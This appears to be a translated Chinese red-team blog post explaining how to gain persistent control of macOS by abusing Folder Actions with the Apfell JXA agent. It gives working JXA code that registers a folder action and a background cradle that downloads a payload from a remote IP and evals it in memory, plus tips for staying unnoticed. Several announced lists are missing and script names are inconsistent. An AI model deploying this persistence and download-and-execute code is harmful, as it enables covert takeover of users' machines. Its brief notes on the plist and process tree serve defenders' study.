与Windows平台相比,为macOS平台渗透测试介绍新型战术、技术和程序(TTP)的文章数要少得多。因此,本文将为读者详细介绍一种新型的方法:利用Apfell框架中的JavaScript for Automation(JXA)代理实现对macOS的持久控制。
我们知道,macOS提供了一种名为Folder Actions的功能,专门用于在用户定义的文件夹上触发执行AppleScript。据Apple的文档称:
“当相关的文件夹添加或删除项目时,或当打开、关闭、移动或调整其窗口大小时,就会执行Folder Action脚本。”
作为攻击者,这听起来非常神奇。一旦在关联的文件夹上触发了上述事件,系统就会自动替我们执行AppleScript文件。并且,脚本是在用户的上下文中执行的,即使您(攻击者)将文件夹操作的执行身份注册为root用户,也是如此。
那么,具体该如何操作呢?实际上,至少有三种方法:
在Apfell中,我使用的是第三种方法。需要注意的是,如果使用第二种方法,UI将自动限制您对/Library/Scripts/Folder Action Scripts和~/Library/Scripts/Folder Action Scripts中脚本的可见性。使用第三种方法的话,我们不仅可以将该脚本放到任意位置,并仍然可以引用它。
首先,我们需要一份编译好的OSAScript文件(.scpt)。幸运的是,我们可以通过AppleScript或JavaScript for Automation(JXA)实现这一点。在这里,我们选用后者。接下来,请打开脚本编辑器,并复制下列代码(用作简易的PoC):
var app = Application.currentApplication();app.includeStandardAdditions = true;app.doShellScript("touch /Users/itsafeature/Desktop/touched.txt");
将这个文件命名为disk_watching.scpt,然后,将其保存到您选定的目录即可。这样,我们就可以通过osascript folder_watching.scpt命令来运行这个脚本了。实际上,这个脚本的功能非常简单:将一个空文件写入/Users/itsafeature/Desktop/touched.txt。在我们运行的脚本中可以包含任何有效的OSAScript代码,但必须将其编译为.scpt格式。接下来,我们需要将这个脚本与一个文件夹的实际JXA代码关联起来。为此,我们需要执行以下操作:
var se = Application("System Events");se.folderActionsEnabled = true;var myScript = se.Script({name: "folder_watch.scpt", posixPath: "/Users/itsafeature/Desktop/folder_watch.scpt"});var fa = se.FolderAction({name: "watched", path: "/Users/itsafeature/Desktop/watched"});se.folderActions.push(fa);fa.scripts.push(myScript);
在这个脚本中,我们执行了下列操作:
macOS Mojave的Apple Event消息的标准弹出窗口
Security & Privacy请求屏幕中显示的请求/请求的应用程序组合
我们接下来要做的是启用folder actions功能。当然,该功能的作用范围通常有两种,其中,如果se.folderActionsEnabled = true,表示在系统范围内启用Folder Actions功能。一旦启用了该功能,就会单独为各个文件夹操作提供相应的启用/禁用功能。
我们需要先创建一个Script对象。它只是指向我们的脚本所在的位置(它可以是任何目录)。
然后,我们为watched文件夹注册一个文件夹操作(它通常位于/users/itsafeature/Desktop/watched中),并将其推送到已注册的文件夹操作列表中。
这样,我们可以将用于该文件夹操作的脚本添加到文件夹操作列表中了。
如果您在UI中执行该操作,则会看到如下窗口:
文件夹操作设置窗口
需要注意的是,您可以将多个脚本与任何文件夹相关联,并且可以分别启用或禁用各个脚本。我们可以使用JXA查询这些相同的信息,以确保应用了这些文件夹操作,并查询现有的操作:
我们可以清楚地看到,相应的脚本已被附加并启用。接下来,我们需要做的最后一件事就是触发它。当然,我们可以通过多种方式触发该脚本,例如:
现在,为了实现持久控制,请确保将该脚本与一个文件夹相关联,并且该文件夹能根据您的需要定期触发文件夹操作。需要注意的是,最好不要与频繁使用的文件夹相关联(如用户的Documents文件夹,主目录或Downloads文件夹),除非您能设法避免自己被回调淹没。
同时,如果您让它长时间运行的话,顶部菜单栏中会出现一个图标,表示它正在处理某些内容,如果单击它,就可以看到脚本名称:
表明文件夹操作脚本正在运行的顶部条形图标
要解决这个问题,可以将您的任务作为后台作业运行,以便快速退出初始的.scpt文件。如果您希望在JXA中通过DoshellScript来实现这一点,那么需要设法让它作为后台任务运行。根据Apple的相关文档:
do shell script always calls /bin/sh. However, in macOS, /bin/sh is really bash emulating sh.
这意味着,如果希望在后台启动Apfall JXA payload,可以让编译后的脚本包含以下内容:
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript(" osascript -l JavaScript -e
\"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL
($.NSURL.URLWithString('http://192.168.205.151/api/v1.2/files/download/22')),$.NSUTF8StringEncoding)));\" &> /dev/null &");
其中的关键部分是shell命令的结尾:&>/dev/null &,该命令将访问URL http://192.168.205.151/API/v1.2/files/download/22
,下载文件,并将其作为后台任务在内存中运行。
与我们通过终端执行JXA来设置文件夹操作实现持久性控制不同,如果实现持久性控制的JXA代码是直接执行的,并且将Apple事件发送到其他应用程序的话,那么弹出窗口将略有不同。这时,我们将在FolderActionsDispatcher的上下文中执行:
FolderActionsDispatcher请求控制Finder.app
只有将Apple事件发送到其他应用程序时,这才会起作用。如果使用shell脚本或利用JXA-Objective C桥来调用本机Objective C API,则不会出现这些弹出窗口或问题。
下面是一个简单的示例,为读者展示了如何获得APFELL-JXA payload:
生成APFELL-JXA payload的Folder Action
与大多数与macOS相关的配置一样,该功能也有一个对应的plist,其中存放了所有的相关信息,它位于~/Library/Preferences/com.apple.FolderActionsDispatcher.plist。其中,这个plist包含一组递归的base64编码二进制plist,解码后可以看到,其中存放的是UI和JXA中显示的信息。
根据Richie Cyrus的介绍,在使用xnumon考察该功能的父进程层次结构时,可以看到:
这是初始执行链的末尾;但是,既然我们在JXA中使用了doShellScript功能(或者在AppleScript中使用shell脚本),那么实际上已经通过sh -c进程来执行touch命令。具体来说,`/System/Library/Frameworks/Foundation.framework/Versions/C/XPCServices/com.apple.foundation.UserScriptService.xpc/Contents/MacOS/com.apple.foundation.UserScriptService`将生成子进程`sh -c touch /Users/itsafeature/Desktop/touched.txt`。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.